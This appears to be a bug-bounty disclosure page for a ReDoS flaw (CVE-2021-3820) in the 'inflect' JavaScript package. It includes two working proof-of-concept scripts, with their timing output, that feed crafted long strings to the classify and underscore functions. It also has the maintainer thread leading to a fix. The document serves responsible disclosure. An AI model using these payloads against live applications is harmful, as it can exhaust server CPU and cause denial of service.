Inefficient Regular Expression Complexity in pksunkara/inflect

0

Valid Reported on Sep 19th 2021

✍️ Description

The `inflect` package is vulnerable to ReDoS (regular expression denial of service). An attacker that is able to provide a crafted table_name as input to the classify function may cause an application to consume an excessive amount of CPU. Below pinned line using vulnerable regex.

🦹 Proof of Concept

Put the below in a poc.js file and run with node

```
//poc.js
var inflect = require('i')();
for(var i = 1; i <= 500; i++) {
    var time = Date.now();
    var payload = ""+"\u0000".repeat(i*10000)+"\u0000"
    inflect.classify(payload)
    var time_cost = Date.now() - time;
    console.log("Classify time : " + payload.length + ": " + time_cost+" ms
    }
```

Check the Output:

```
Classify time : 10001: 158 ms
Classify time : 20001: 565 ms
Classify time : 30001: 1282 ms
Classify time : 40001: 2129 ms
Classify time : 50001: 3369 ms
Classify time : 60001: 8430 ms
Classify time : 70001: 15926 ms
Classify time : 80001: 16221 ms
--
--
```

💥 Impact

This vulnerability is capable of exhausting system resources and leads to crashes.

CVE
CVE-2021-3820
(Published)

Vulnerability Type
CWE-1333: Inefficient Regular Expression Complexity

Severity
Medium (5.3)

Affected Version
*

Visibility
Public

Status
Fixed

Found by

ready-research
@ready-research
pro

Fixed by

ready-research
@ready-research
pro

We created a **GitHub Issue** asking the maintainers to create a `SECURITY.md` a year ago

ready-research submitted a **patch** a year ago

ready-research modified the report a year ago

Z-Old a year ago — Admin

Hey ready-research, I've emailed the maintainer for you.

We have contacted a member of the **pksunkara/inflect** team and are waiting to hear back a year ago

Pavan Kumar Sunkara validated this vulnerability a year ago

ready-research has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Pavan a year ago — Maintainer

I am not sure how to fix this. We use a lot of regexp in that package

ready-research a year ago — Researcher

@pavan Thank you for your confirmation. I have provided a patch. You can use that to patch this issue.

Pavan a year ago — Maintainer

What about the other regexes in that file?

ready-research a year ago — Researcher

I will test those for you and let you know.

Pavan a year ago — Maintainer

Thanks.

ready-research a year ago — Researcher

Hi @pavan, found another issue in `underscore`
https://github.com/pksunkara/inflect/blob/22fa473b778e0f9fc4028f8592b521ba64aad94e/lib/methods.js#L64

```
// PoC.js
var inflect = require('i')();
for(var i = 1; i <= 500; i++) {
    var time = Date.now();
    var payload = ""+"A".repeat(i*10000)+" "
    inflect.underscore(payload)
    var time_cost = Date.now() - time;
    console.log("Underscore time : " + payload.length + ": " + time_cost+" ms");
    }
```

Check the Output:

```
Underscore time : 10001: 159 ms
Underscore time : 20001: 647 ms
Underscore time : 30001: 1361 ms
Underscore time : 40001: 2354 ms
Underscore time : 50001: 3938 ms
Underscore time : 60001: 5971 ms
--
--
```

ready-research a year ago — Researcher

All the other regexes are good.

ready-research submitted a **patch** a year ago

Pavan Kumar Sunkara marked this as fixed with commit a9a0a8 a year ago

ready-research has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ×

Jamie Slome a year ago Admin

CVE published! 🎊

Sign in to join this conversation